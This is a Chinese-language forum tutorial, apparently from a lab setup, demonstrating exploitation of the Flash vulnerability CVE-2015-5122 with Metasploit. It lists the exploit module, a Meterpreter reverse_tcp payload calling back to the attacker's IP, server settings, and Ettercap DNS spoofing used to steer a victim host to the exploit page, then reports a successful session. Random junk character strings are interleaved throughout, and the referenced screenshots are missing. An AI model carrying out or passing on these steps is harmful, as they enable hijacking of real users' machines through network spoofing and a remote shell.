cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机

( g6 B4 X1 X/ O* z; A, y, i   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

search cve-2015-5122如图： 3 b; Z' p5 {$ p b

; J. A0 O) E: x2 }! G3 Y# ]! d4 o

  : K) ^* [6 D8 B

# M B- _0 J( f/ S2 A* ^

下面我们敲如下命令： 4 n6 R% y) E8 p' a1 [2 h% x

8 O! P1 W6 D( a2 i! o3 a1 V5 z

use exploit/multi/browser/adobe_flash_opaque_background_uaf

' I* _$ u: f6 n1 K set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.0.109 9 ]$ _# [8 [8 p; w8 i& f8 ~/ t

3 `2 j# y) F) z& B

5 E) [$ K& `- o- H& M; k. z set URIPATH /                        /*根目录*/ 7 P6 ?! {$ {4 Z. D+ S1 r2 `2 c( \

8 P4 K) H: X! A( N5 |4 a2 Z

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 5 k9 x" S7 G8 v

* \! B& \0 h. {, d r5 m. [5 P, U

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

0 s6 U. V; H& A' D

然后show options如图：

" E* q- s! ~5 Q* l( L   - P# i6 s: l/ q3 P8 U+ H

% Y3 V6 V8 t; O

. N: \6 c; T5 G+ E 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
$ v" ?3 d: `) S3 V$ @

# Z& l% ?5 r4 B2 y5 Z& h \; H 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 2 K5 U8 Y+ S) r/ [; ?: z

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf " B( B; |. Q/ w8 M

 

成功了，这时候我们断开ettercap，如图： * z# L2 {3 e6 L$ @, R* X

# a0 {2 L0 _4 p& p6 c' A& N: l

  & q& E6 Z/ {* f( Y

+ g) E- ?- S9 m3 _# g' T

) E) V9 k* a' n6 I6 _3 g Screenshot如图：

% h- V$ M* Z2 t' i( W2 P$ z4 z7 |$ E   ( m) ?$ [: P- f2 e9 G